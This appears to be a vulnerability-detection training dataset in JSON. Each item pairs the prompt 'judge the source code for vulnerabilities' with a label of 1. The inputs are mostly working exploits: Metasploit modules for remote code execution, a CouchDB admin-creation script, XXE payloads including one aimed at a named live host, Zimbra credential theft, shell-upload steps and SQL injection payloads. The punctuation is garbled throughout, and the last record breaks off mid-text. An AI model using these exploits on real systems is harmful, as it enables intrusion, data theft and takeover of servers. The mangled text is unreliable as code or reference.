[ { "instruction": "please judge the source code for vulnerabilities.", "input": " | | | || quote> | | | | | | () || | () | ||| ()|||https:zero.lolzero days 4 daysATTENTION:this is a friendly neighborhood zeroday dropquote>Axway SecureTransport is a multiprotocol MFT gateway for securing, managing, and tracking file flows among people and applications inside your enterprise, and beyond your firewall to your user communities, the cloud and mobile devices. It is designed to handle everything — from highvolume automated high speed secure file transfers between systems, sites, lines of business and external partners, to userdriven communications and mobile, folder and portalbased file sharing.quote>Who uses this software?Well, to name a few... (just use the dork dude) Government of California Biometrics.mil Fleetcor Costco Boeing IRSDescription:Axway SecureTransport versions 5.3 through 5.0 (and potentially others) are vulnerable to an unauthenticated blind XML injection (& XXE) vulnerability in the resetPassword functionality via the REST API. If executed properly, this vulnerablity can lead to local file disclosure, DOS or URI invocation attacks (e.g SSRF>RCE). Itquote>s worth noting that in version 5.4 the v1 API was deprecated... but not removed entirely. Meaning that you can still trigger this vulnerability on updated installations if they have the v1.0, v1.1, v1.2 or v1.3 in the api directory.Reproduction:1. Breaking the parser.HTTP Request:```POST apiv1.0myselfresetPassword HTTP1.1Host: securefile.costco.comContentType: applicationxmlReferer: localhost<email>```HTTP Response:```{quote>messagequote> : quote>javax.xml.bind.UnmarshalExceptionn with linked exception:n[org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 2; The markup in the document preceding the root element must be wellformed.]quote>}```2. Verifying the vulnerability.HTTP Request:```POST apiv1.0myselfresetPassword HTTP1.1Host: securefile.costco.comContentType: applicationxmlReferer: localhostquote>1.0quote> encoding=quote>UTF8quote> standalone=quote>noquote>?>quote>file:devnullquote>>]>&thisactuallyexists;&thisdoesnt;<email><resetPassword>```HTTP Response:```{quote>messagequote> : quote>javax.xml.bind.UnmarshalExceptionn with linked exception:n[org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 48; The entity quote>thisdoesntquote> was referenced, but not declared.]quote>}```As you can see, the parser recognizes that quote>thisactuallyexistsquote> was in fact declared. In the same error, we see that quote>thisdoesnquote>tquote> was referenced, but not declared. This demonstrates that we can declare arbitrary entities.https:github.comswisskyrepoPayloadsAllTheThingstreemasterXXE%20Injection3. External Entity Injection (XXE) (hardened)NOTE: Because the server doesnquote>t reflect the input anywhere, our only option is errorbased XXE or outofband XXE. However, upon initial discovery, it appears as though most Axway SecureTransport installations have some type of firewall blocking all outgoing requests. This makes exploiting traditional XXE difficult. Judging by this, my only ideas on exploitation would be via blind SSRF or by repurposing an existing DTD on the filesystem to trigger an error with the file contentsresult of our payload. However because I donquote>t have a license, I canquote>t effectively audit this software from a whitebox perspective, which makes mapping out internal attack surface difficult. The underlying vulnerability remains... but with restrictions.HTTP Request:```POST apiv1.0myselfresetPassword HTTP1.1Host: securefile.costco.comContentType: applicationxmlReferer: localhostquote>1.0quote> encoding=quote>UTF8quote> standalone=quote>noquote>?>quote>http:localhostSOMETHINGIWISHIKNEWEXISTED?NEWPASSWORD=1337quote> >]>&ssrf;<email><resetPassword>```HTTP Response:```(empty)```Local DTD repurposing example request:```POST apiv1.0myselfresetPassword HTTP1.1Host: securefile.costco.comContentType: applicationxmlReferer: localhostquote>1.0quote> encoding=quote>UTF8quote> standalone=quote>noquote>?>dtd SYSTEM quote>file:usrsharexmlfontconfigfonts.dtdquote>>quote>aaa)>&&quote>>%localdtd;]><resetPassword>```4. More vulnerabilityindicating errors:HTTP Request:```POST apiv1.0myselfresetPassword HTTP1.1Host: securefile.costco.comContentType: applicationxmlReferer: localhostquote>1.0quote> encoding=quote>UTF8quote> standalone=quote>noquote>?>]>&ssrf;<email><resetPassword>```HTTP Response:```{quote>messagequote> : quote>javax.xml.bind.UnmarshalExceptionn with linked exception:n[org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 22; The system identifier must begin with either a single or double quote character.]quote>}```5. The original requestHTTP Request:```POST apiv1.0myselfresetPassword HTTP1.1Host: securefile.costco.comContentType: applicationxmlReferer: localhostemail@email.com<email><resetPassword>```HTTP Response:```(empty)```Conclusion:If a determined attacker were to get to know the Axway SecureTransport software, the chances of successfully chaining this bug are high. DTD repurposing is a relatively new technique, however in the near future we will be seeing a lot more of this attack vector due to XML parser restrictionsfirewalled networks. I didnquote>t feel comfortable doing further testing as I donquote>t have a license, meaning Iquote>m limited to testing against live targets. So for now, enjoy the 0day. Be creative.Remediation:In order to avoid this vulnerability, itquote>s suggested to disable both doctype declaration and external general entities. You can find more information on that here: https:cheatsheetseries.owasp.orgcheatsheetsXMLExternalEntityPreventionCheatSheet.htmlNotes: Referer must be set. Content type must be xml. Successful request returns a HTTP1.1 204 No Content Any type of invalid XML throws an SAXParser exception. If external entities were disabled... we should also recieve an exception. Same with doctype declaration. API endpoints can vary from apiv1.0, apiv1.1, apiv1.2, apiv1.3, apiv1.4References:https:cheatsheetseries.owasp.orgcheatsheetsXMLExternalEntityPreventionCheatSheet.htmlhttps:mohemiv.comallexploitingxxewithlocaldtdfileshttps:gist.github.commarcwickendenacd0b23953b52e7c1a1a90925862d8e2https:webinsecurity.blogspot.com201603xxecheatsheet.htmlhttps:www.gosecure.netblog20190716automatinglocaldtddiscoveryforxxeexploitation", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " PoC 1: SQLi Request:http:localhost[PATH]araclistesi.html?kategori[]=0&klima[]=1&vites[]=1&yakit[]=1Vulnerable Parameter: kategori[] (GET)Payload: if(now()=sysdate(),sleep(0),0) PoC 2: SQLi Request:http:localhost[PATH]araclistesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1Vulnerable Parameter: klima[] (GET)Payload: 1 AND 3*2*1=6 AND 695=695 PoC 3: SQLi Request:http:localhost[PATH]araclistesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1Vulnerable Parameter: vites[] (GET)Payload: 1 AND 3*2*1=6 AND 499=499 PoC 4: SQLi Request:http:localhost[PATH]araclistesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1Vulnerable Parameter: vites[] (GET)Payload: 1 AND 3*2*1=6 AND 499=499 PoC 5: SQLi Request:http:localhost[PATH]araclistesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1Vulnerable Parameter: yakit[] (GET)Payload: 1 AND 3*2*1=6 AND 602=602", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "quote>quote>quote>@author: r4wd3r@license: MIT License@contact: r4wd3r@gmail.comquote>quote>quote>import argparseimport reimport sysimport requestsparser = argparse.ArgumentParser(description=quote>Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerabilityquote> +quote> (CVE201712635)quote>)parser.addargument(quote>hostquote>, help=quote>Host to attack.quote>, type=str)parser.addargument(quote>pquote>, quote>portquote>, help=quote>Port of CouchDB Servicequote>, type=str, default=quote>5984quote>)parser.addargument(quote>uquote>, quote>userquote>, help=quote>Username to create as admin.quote>,type=str, default=quote>coucharaquote>)parser.addargument(quote>Pquote>, quote>passwordquote>, help=quote>Password of the created user.quote>,type=str, default=quote>couchapassquote>)args = parser.parseargs()host = args.hostport = args.portuser = args.userpassword = args.passwordpatip = re.compile(quote>^(([09]|[19][09]|1[09]{2}|2[04][09]|25[05]).){3}([09]|[19][09]|1[09]{2}|2[04][09]|25[05])$quote>)if not patip.match(host):print quote>[x] Wrong host. Must be a valid IP address.quote>sys.exit(1)print quote>[+] User to create: quote> + userprint quote>[+] Password: quote> + passwordprint quote>[+] Attacking host quote> + host + quote> on port quote> + porturl = quote>http:quote> + host + quote>:quote> + porttry:rtest = requests.get(url, timeout=10)except requests.exceptions.Timeout:print quote>[x] Server is taking too long to answer. Exiting.quote>sys.exit(1)except requests.ConnectionError:print quote>[x] Unable to connect to the remote host.quote>sys.exit(1)cuurlpayload = url + quote>usersorg.couchdb.user:quote> + usercudatapayload = quote>{quote>typequote>: quote>userquote>, quote>namequote>: quote>quote>+user+quote>quote>, quote>rolesquote>: [quote>adminquote>], quote>rolesquote>: [], quote>passwordquote>: quote>quote>+password+quote>quote>}quote>try:rcu = requests.put(cuurlpayload, data=cudatapayload)except requests.exceptions.HTTPError:print quote>[x] ERROR: Unable to create the user on remote host.quote>sys.exit(1)if rcu.statuscode == 201:print quote>[+] User quote> + user + quote> with password quote> + password + quote> successfully created.quote>sys.exit(0)else:print quote>[x] ERROR quote> + str(rcu.statuscode) + quote>: Unable to create the user on remote host.quote>", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "require quote>msfcorequote>class Metasploit3 < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientdef initialize(info = {})super(updateinfo(info,quote>Namequote> => quote>Redmine SCM Repository Arbitrary Command Executionquote>,quote>Descriptionquote> => %q{This module exploits an arbitrary command execution vulnerability in theRedmine repository controller. The flaw is triggered when a rev parameteris passed to the command line of the SCM tool without adequate filtering.},quote>Authorquote> => [ quote>joernchen (Phenoelit)quote> ],quote>Licensequote> => MSFLICENSE,quote>Versionquote> => quote>$Revision: 11516 $quote>,quote>Referencesquote> =>[[quote>OSVDBquote>, quote>70090quote>],[quote>URLquote>, quote>http:www.redmine.orgnews49quote> ]],quote>Privilegedquote> => false,quote>Payloadquote> =>{quote>DisableNopsquote> => true,quote>Spacequote> => 512,quote>Compatquote> =>{quote>PayloadTypequote> => quote>cmdquote>,quote>RequiredCmdquote> => quote>generic telnetquote>,}},quote>Platformquote> => quote>unixquote>,quote>Archquote> => ARCHCMD,quote>Targetsquote> => [[ quote>Automaticquote>, { }]],quote>DisclosureDatequote> => quote>Dec 19 2010quote>,quote>DefaultTargetquote> => 0))registeroptions([OptString.new(quote>URIquote>, [true, quote>The full URI path to the projectquote>, quote>projects1quote>]),], self.class)enddef exploitcommand = Rex::Text.uriencode(payload.encoded)urlconfigdir = datastore[quote>URIquote>] + quote>repositoryannotate?rev=`res = sendrequestraw({quote>uriquote> => urlconfigdir,quote>methodquote> => quote>GETquote>,quote>headersquote> =>{quote>UserAgentquote> => quote>Mozilla4.0 (compatible; MSIE 6.0; Windows NT 5.1)quote>,quote>Connectionquote> => quote>Closequote>,}}, 25)if (res)printstatus(quote>The server returned:elseprintstatus(quote>No response from the serverquote>)endhandlerendend", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "import SimpleHTTPServerimport SocketServerimport argparseimport sysimport threadingfrom xml.etree import ElementTreeimport urllib3import requestsSIMPLEPAYLOAD = quote>quote>quote>quote>1.0quote> encoding=quote>ISO88591quote>?>quote>file:{}quote>>]>&xxe;<methodName><methodCall>quote>quote>quote>ADVANCEDPAYLOAD = quote>quote>quote>quote>1.0quote> encoding=quote>ISO88591quote>?>quote>quote>>quote>file:{}quote>>quote>]]>quote>>quote>{}quote>>%dtd;]>&all;<methodName><methodCall>quote>quote>quote>urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):def doGET(self):self.sendresponse(200)self.sendheader(quote>ContentTypequote>, quote>texthtmlquote>)self.endheaders()self.wfile.write(quote>quote>%start;%xxe;%end;quote>>quote>)def checkexploit(host):response = requests.post(host + quote>rollerservicesxmlrpcquote>, verify=False)if response.statuscode == 200:return Truereturn Falsedef exploit(host, payload):response = requests.post(host + quote>rollerservicesxmlrpcquote>, data=payload, verify=False)xmltree = ElementTree.fromstring(response.text)parsedresponse = xmltree.findall(quote>faultvaluestructmemberquote>)[1][1].textprint parsedresponsedef startwebserver(port):handler = MyHandlerhttpd = SocketServer.TCPServer((quote>quote>, port), handler, False)httpd.allowreuseaddress = Truehttpd.serverbind()httpd.serveractivate()httpd.handlerequest()httpd.shutdown()def main():parser = argparse.ArgumentParser()parser.addargument(quote>uquote>, metavar=quote>URLquote>, dest=quote>urlquote>, required=True, help=quote>Target URLquote>)parser.addargument(quote>fquote>, metavar=quote>FILEquote>, dest=quote>filequote>, required=False, default=quote>etcpasswdquote>, help=quote>File to read from serverquote>)parser.addargument(quote>lhostquote>, required=quote>rportquote> in sys.argv, help=quote>Your IP address for http web serverquote>)parser.addargument(quote>lportquote>, type=int, required=quote>rhostquote> in sys.argv, help=quote>Port for web server to listen onquote>)args = parser.parseargs()host = args.urlfullfilepath = args.fileadvanced = Falselhost = args.lhostlport = args.lportif lport is not None and lport is not None:advanced = Truecheck = checkexploit(host)if check:if advanced:th = threading.Thread(target=startwebserver, args=(lport,))th.daemon = Trueth.start()payload = ADVANCEDPAYLOAD.format(fullfilepath, quote>http:{}:{}quote>.format(lhost, lport))else:payload = SIMPLEPAYLOAD.format(fullfilepath)exploit(host, payload)else:print quote>[] TARGET IS NOT VULNERABLE!quote>main()", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "|| [WS] upload Remote File Upload Vulnerability|| Author : [ViRuSMaN]|| Contact : [v.m@live.com]|| Home : [IslamAttack.CoM , HackTeach.OrG]|| Download : [http:www.phpshark.dkdownload.php?file=phpsharkdk52multiupload.zip&id=52]|||| Exp :|| 1 Choose number of files 2 upload|| 2 Upload your shell format quote>shell.php.rarquote>|| 3 Pwd Your Shell quote>localhost[WS] uploadfilshell.php.rarquote>||| Greets : All members of islamattack.com , hackteach.org & SecSni.Com All Muslimquote>s|", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "source: https:www.securityfocus.combid24853infoImgSvr is prone to a local fileinclude vulnerability because it fails to sanitize usersupplied input.Attackers may exploit this issue to access files that may contain sensitive information.UPDATE (December 24, 2007): According to the vendor, this issue was addressed in ImgSvr 0.6.21. However, reports indicate that this version is still vulnerable.GET ?template=....................etcpasswd HTTP1.0", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scannerdef initialize(info = {})super(updateinfo(info,quote>Namequote> => quote>cgit Directory Traversalquote>,quote>Descriptionquote> => %q{This module exploits a directory traversal vulnerability whichexists in cgit < 1.2.1 cgitcloneobjects(), reachable when theconfiguration flag enablehttpclone is set to 1 (default).},quote>Referencesquote> =>[[quote>CVEquote>, quote>201814912quote>],[quote>URLquote>, quote>https:bugs.chromium.orgpprojectzeroissuesdetail?id=1627quote>],[quote>EDBquote>, quote>45148quote>]],quote>Authorquote> =>[quote>Google Project Zeroquote>,quote>Dhiraj Mishraquote>],quote>DisclosureDatequote> => quote>Aug 03 2018quote>,quote>Licensequote> => MSFLICENSE))registeroptions([OptString.new(quote>FILEPATHquote>, [true, quote>The path to the file to readquote>, quote>etcpasswdquote>]),OptString.new(quote>TARGETURIquote>, [true, quote>The base URI path of the cgit installquote>, quote>cgitquote>]),OptString.new(quote>REPOquote>, [true, quote>Git repository on the remote serverquote>, quote>quote>]),OptInt.new(quote>DEPTHquote>, [ true, quote>Depth for Path Traversalquote>, 10 ])])enddef runhost(ip)filename = datastore[quote>FILEPATHquote>]traversal = quote>..quote> * datastore[quote>DEPTHquote>] << filenameres = sendrequestcgi({quote>methodquote> => quote>GETquote>,quote>uriquote> => normalizeuri(targeturi.path, datastore[quote>REPOquote>], quote>objectsquote>),quote>varsgetquote> => {quote>pathquote> => traversal}})unless res && res.code == 200printerror(quote>Nothing was downloadedquote>)returnendvprintgood(quote>path = storeloot(quote>cgit.traversalquote>,quote>textplainquote>,ip,res.body,filename)printgood(quote>File saved in:endend", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "require quote>msfcorequote>class MetasploitModule < Msf::Exploit::RemoteRank = GoodRankinginclude Msf::Exploit::Remote::HttpClientdef initialize(info = {})super(updateinfo(info,quote>Namequote> => quote>SixApart MovableType Storable Perl Code Executionquote>,quote>Descriptionquote> => %q{This module exploits a serialization flaw in MovableType before 5.2.12 to executearbitrary code. The default nondestructive mode depends on the target server havingthe Object::MultiType and DateTime Perl modules installed in Perlquote>s @INC paths.The destructive mode of operation uses only required MovableType dependencies,but it will noticeably corrupt the MovableType installation.},quote>Authorquote> =>[quote>John Lightseyquote>,],quote>Licensequote> => MSFLICENSE,quote>Referencesquote> =>[[ quote>CVEquote>, quote>20151592quote> ],[ quote>URLquote>, quote>https:movabletype.orgnews201502movabletype607and5212releasedtoclosesecurityvulnera.htmlquote> ],],quote>Privilegedquote> => false,quote>Payloadquote> =>{quote>DisableNopsquote> => true,quote>BadCharsquote> => quote> quote>,quote>Spacequote> => 1024,},quote>Compatquote> =>{quote>PayloadTypequote> => quote>cmdquote>},quote>Platformquote> => [quote>unixquote>],quote>Archquote> => ARCHCMD,quote>Targetsquote> => [[quote>Automaticquote>, {}]],quote>DisclosureDatequote> => quote>Feb 11 2015quote>,quote>DefaultTargetquote> => 0))registeroptions([OptString.new(quote>TARGETURIquote>, [true, quote>MoveableType cgibin directory pathquote>, quote>cgibinmtquote>]),OptBool.new(quote>DESTRUCTIVEquote>, [true, quote>Use destructive attack method (more likely to succeed, but corrupts target system.)quote>, false])], self.class)end=beginuse Storable;{package XXXCHECKXXX;sub STORABLEthaw {return 1;}sub STORABLEfreeze {return 1;}}my $checkobj = bless { ignore => quote>thisquote> }, XXXCHECKXXX;my $frozen = quote>SERGquote> . pack( quote>Nquote>, 0 ) . pack( quote>Nquote>, 3 ) . Storable::freeze({ x => $checkobj});$frozen = unpack quote>H*quote>, $frozen;print quote>LFI test for storable flaw is: $frozennquote>;{package DateTime;use overload quote>+quote> => sub { quote>ignoredquote> };}=enddef checkvprintstatus(quote>Sending storable test injection for XXXCHECKXXX.pm load failurequote>)res = sendrequestcgi({quote>methodquote> => quote>GETquote>,quote>uriquote> => normalizeuri(targeturi.path, quote>mtwizard.cgiquote>),quote>varsgetquote> => {quote>modequote> => quote>retryquote>,quote>stepquote> => quote>configurequote>,quote>configquote> => quote>53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078quote>}})unless res && res.code == 200 && res.body.include?(quote>Canquote>t locate XXXCHECKXXX.pmquote>)vprintstatus(quote>Failed XXXCHECKXXX.pm load testquote>);return Exploit::CheckCode::SafeendExploit::CheckCode::Vulnerableenddef exploitif datastore[quote>DESTRUCTIVEquote>]exploitdestructiveelseexploitnondestructiveendend=beginuse Storable;{package Object::MultiType;use overload quote>+quote> => sub { quote>ingoredquote> };}{package Object::MultiType::Saver;}{package DateTime;use overload quote>+quote> => sub { quote>ingoredquote> };}{package Try::Tiny::ScopeGuard;}my $trytinyloader = bless {}, quote>DateTimequote>;my $multitypesaver = bless { c => quote>MT::runappquote> }, quote>Object::MultiType::Saverquote>;my $multitypecoderef = bless $multitypesaver, quote>Object::MultiTypequote>;my $trytinyexecutor = bless [$multitypecoderef, quote>MT;print qq{Contenttype: textplainnn};system(q{});quote> . (quote>my $data = [$trytinyloader, $trytinyexecutor];my $frozen = quote>SERGquote> . pack( quote>Nquote>, 0 ) . pack( quote>Nquote>, 3 ) . Storable::freeze($data);$frozen = unpack quote>H*quote>, $frozen;print quote>RCE payload requiring Object::MultiType and DateTime: $frozennquote>;=enddef exploitnondestructiveprintstatus(quote>Using nondestructive attack methodquote>)configpayload = quote>53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717bquote>configpayload << payload.encoded.unpack(quote>H*quote>)[0]configpayload << quote>7d293bquote>configpayload << quote>23quote> * (1025 payload.encoded.length)configpayload << quote>0a657869743bquote>printstatus(quote>Sending payload (sendrequestcgi({quote>methodquote> => quote>GETquote>,quote>uriquote> => normalizeuri(targeturi.path, quote>mtwizard.cgiquote>),quote>varsgetquote> => {quote>modequote> => quote>retryquote>,quote>stepquote> => quote>configurequote>,quote>configquote> => configpayload}}, 5)end=beginuse Storable;{package CGITempFile;}my $unlinktarget = quote>mtconfig.cgiquote>;my $cgitempfile = bless $unlinktarget, quote>CGITempFilequote>;my $data = [$cgitempfile];my $frozen = quote>SERGquote> . pack( quote>Nquote>, 0 ) . pack( quote>Nquote>, 3 ) . Storable::freeze($data);$frozen = unpack quote>H*quote>, $frozen;print quote>RCE unlink payload requiring CGI: $frozennquote>;=enddef exploitdestructiveprintstatus(quote>Using destructive attack methodquote>)printstatus(quote>Sending storable injection to unlink mtconfig.cgiquote>)res = sendrequestcgi({quote>methodquote> => quote>GETquote>,quote>uriquote> => normalizeuri(targeturi.path, quote>mtwizard.cgiquote>),quote>varsgetquote> => {quote>modequote> => quote>retryquote>,quote>stepquote> => quote>configurequote>,quote>configquote> => quote>534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769quote>}})if res && res.code == 200printstatus(quote>Successfully sent unlink requestquote>)elsefailwith(Failure::Unknown, quote>Error sending unlink requestquote>)endprintstatus(quote>Rewriting mtconfig.cgi to accept the payloadquote>)res = sendrequestcgi({quote>methodquote> => quote>GETquote>,quote>uriquote> => normalizeuri(targeturi.path, quote>mtwizard.cgiquote>),quote>varsgetquote> => {quote>modequote> => quote>nextstepquote>,quote>stepquote> => quote>optionalquote>,quote>defaultlanguagequote> => quote>enusquote>,quote>emailaddressmainquote> => quote>xnObjectDriver mysql;use CGI;print qq{Contenttype: textplainnn};if(my $c = CGI>new()>param(quote>xyzzyquote>)){system($c);};unlink(quote>mtconfig.cgiquote>);exit;1quote>,quote>setstaticuritoquote> => quote>quote>,quote>configquote> => quote>5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012fquote>,}})if res && res.code == 200printstatus(quote>Successfully sent mtconfig rewrite requestquote>)elsefailwith(Failure::Unknown, quote>Error sending mtconfig rewrite requestquote>)endprintstatus(quote>Sending payload requestquote>)sendrequestcgi({quote>methodquote> => quote>GETquote>,quote>uriquote> => normalizeuri(targeturi.path, quote>mt.cgiquote>),quote>varsgetquote> => {quote>xyzzyquote> => payload.encoded,}}, 5)endend", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "DescriptionThis script exploits a Local File Inclusion inresI18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgzwhich allows us to see localconfig.xmlthat contains LDAP root credentials wich allow us to make requests inserviceadminsoap API with the stolen LDAP credentials to create userwith administration privlegiesand gain acces to the Administration Console.LFI is located at :resI18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=..................optzimbraconflocalconfig.xml%00Example :https:mail.example.comresI18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=..................optzimbraconflocalconfig.xml%00orhttps:mail.example.com:7071zimbraAdminresI18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=..................optzimbraconflocalconfig.xml%00ExploitBefore use this exploit, target server must have admin console port openquote>7071quote> otherwise it wonquote>t work.use the exploit like this :ruby run.rb t mail.example.com u someuser p Test12323[*] Looking if host is vuln....[+] Host is vuln exploiting...[+] Obtaining Domain Name[+] Creating Account[+] Elevating Privileges[+] Login Credentials[*] Login URL : https:mail.example.com:7071zimbraAdmin[*] Account : someuser@example.com[*] Password : Test12323[+] Successfully Exploited !The number of servers vuln are huge like 80100.This is only for educational purpouses.", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "[[[[[[[[[[[With this exploit we can remotely change admins password.[EXPLOIT]
quote>http:localhostmmpadmin.php?action=change&mode=verifyquote>method=quote>postquote>>quote>hiddenquote> name=quote>adminidquote> value=quote>adminquote>>quote>hiddenquote> name=quote>adminemailquote> value=quote>my@newmail.netquote>>quote>hiddenquote> name=quote>companyquote> value=quote>My Companyquote>>quote>hiddenquote> name=quote>adminpassquote> value=quote>hackedquote>>quote>hiddenquote> name=quote>cpassquote> value=quote>hackedquote>>quote>submitquote> name=quote>submitquote> value=quote>Changequote>><form>[EXPLOIT][", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "require quote>msfcorequote>class Metasploit3 < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::EXEdef initialize(info={})super(updateinfo(info,quote>Namequote> => quote>Auxilium RateMyPet Arbitrary File Upload Vulnerabilityquote>,quote>Descriptionquote> => %q{This module exploits a vulnerability found in Auxilium RateMyPetquote>s. The sitebanner uploading feature can be abused to upload an arbitrary file to the webserver, which is accessible in the quote>bannerquote> directory, thus allowing remote codeexecution.},quote>Licensequote> => MSFLICENSE,quote>Authorquote> =>[quote>DaOnequote>,quote>sinn3rquote>],quote>Referencesquote> =>[[quote>OSVDBquote>, quote>85554quote>],[quote>EDBquote>, quote>21329quote>]],quote>Payloadquote> =>{quote>BadCharsquote> => quote>x00quote>},quote>DefaultOptionsquote> =>{quote>ExitFunctionquote> => quote>nonequote>},quote>Platformquote> => [quote>linuxquote>, quote>phpquote>],quote>Targetsquote> =>[[ quote>Generic (PHP Payload)quote>, { quote>Archquote> => ARCHPHP, quote>Platformquote> => quote>phpquote> } ],[ quote>Linux x86quote> , { quote>Archquote> => ARCHX86, quote>Platformquote> => quote>linuxquote>} ]],quote>Privilegedquote> => false,quote>DisclosureDatequote> => quote>Sep 14 2012quote>,quote>DefaultTargetquote> => 0))registeroptions([OptString.new(quote>TARGETURIquote>, [true, quote>The base directory to the applicationquote>, quote>Auxiliumpetrateproquote>])], self.class)enddef checktargeturi.path << quote>quote> if targeturi.path[1,1] != quote>quote>base = File.dirname(quote>res = sendrequestraw({quote>uriquote>=>quote>if res and res.body =~ >Pet Rate Admin Banner Manager<title>return Exploit::CheckCode::Appearselsereturn Exploit::CheckCode::Safeendenddef getwriteexecpayload(fname, data)p = Rex::Text.encodebase64(generatepayloadexe)php = %Q|$f = fopen(quote>fwrite($f, base64decode(quote>fclose($f);exec(quote>chmod 777exec(quote>?>|php = php.gsub(^tt, quote>quote>).gsub(n, quote> quote>)return phpenddef onnewsession(cli)if cli.type == quote>meterpreterquote>cli.core.use(quote>stdapiquote>) if not cli.ext.aliases.include?(quote>stdapiquote>)end@cleanfiles.each do |f|printstatus(quote>beginif cli.type == quote>meterpreterquote>cli.fs.file.rm(f)elsecli.shellcommandtoken(quote>rmendrescue ::Exception => eprinterror(quote>endendenddef uploadexec(base, phpfname, p)data = Rex::MIME::Message.newdata.addpart(quote>http:quote>, nil, nil, quote>formdata; name=quote>burlquote>quote>)data.addpart(quote>quote>, nil, nil, quote>formdata; name=quote>altquote>quote>)data.addpart(p, quote>textplainquote>, nil, quote>formdata; name=quote>userfilequote>; filename=quote>data.addpart(quote> Uploadquote>, nil, nil, quote>formdata; name=quote>submitokquote>quote>)postdata = data.tospostdata = postdata.gsub(^rnPart, quote>Partquote>)printstatus(quote>res = sendrequestcgi({quote>methodquote> => quote>POSTquote>,quote>uriquote> => quote>quote>ctypequote> => quote>multipartformdata; boundary=quote>dataquote> => postdata,})if not resprinterror(quote>returnendprintstatus(quote>res = sendrequestraw({quote>uriquote>=>quote>if res and res.code == 404printerror(quote>returnendhandlerenddef exploit@peer = quote>targeturi.path << quote>quote> if targeturi.path[1,1] != quote>quote>base = File.dirname(quote>phpfname = quote>@cleanfiles = [phpfname]case target[quote>Platformquote>]when quote>phpquote>p = quote>when quote>linuxquote>binname = quote>@cleanfiles << binnamebin = generatepayloadexep = getwriteexecpayload(quote>tmpenduploadexec(base, phpfname, p)endend", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "[]|| DigitalHive Remote File Upload Vulnerability|| Author : ViRuSMaN|| Contact : v.m@live.com|| Home : IslamAttack.CoM , HackTeach.OrG|| Download :http:www.digitalhive.combase.php?page=sitetelechargements.php&var=accueil[]|| Exp:|| 1 First signup in the forum by going here http:localhost[script]base.php?page=inscription.php||| 2Then going to your profile here http:localhost[script]base.php?page=compte.php&var=accueil and click quote>modfierquote>||| 3Now upload your shell in quote>php.jpgquote> format||| 4Finally do a right click in the icon situated in quote>Apparencequote> then copy the link of your shell.|[]||Greets : All members of islamattack.com , hackteach.org , s3curi7y.com & All Muslimquote>s|[]==============================================================================[»] DigitalHive Multiple Vulnerabilities==============================================================================[»] Script: [ DigitalHive ][»] Language: [ PHP ][»] Site page: [ Hive est systeme permettant de creer facilement et rapidement un systeme ][»] Download: [ http:www.digitalhive.combase.php?page=sitetelechargements.php&var=dl&num=17 ][»] Founder: [ ViRuSMaN m@live.com totti553@yahoo.com> ][»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & SecAttack.Com ][»] My Home: [ HackTeach.Org , IslamAttack.Com ]===[ Exploit ]===[»] http:server[path]base.php?page=membres.php&mt=[Xss Vuln]===[ Live Demo ]===[»] http:serverbase.php?page=membres.php&mt=%22%3E%3Cscript%3Ealert(1);%3Cscript%3EAuthor: ViRuSMaN <", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "```[crg@fogheaven elasticpwn]$ python CVE20155531.py exploitlab.int etchosts!dSR script for CVE20155531127.0.0.1 localhost::1 ip6localhost ip6loopbackfe00::0 ip6localnetff00::0 ip6mcastprefixff02::1 ip6allnodesff02::2 ip6allroutersff02::3 ip6allhostsThe script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.In order to bypass the snapshot prefix setted in the server side, we need to create a known relative path:curl http:exploitlab.int:9200snapshot?pretty{quote>pwnquote> : {quote>typequote> : quote>fsquote>,quote>settingsquote> : {quote>locationquote> : 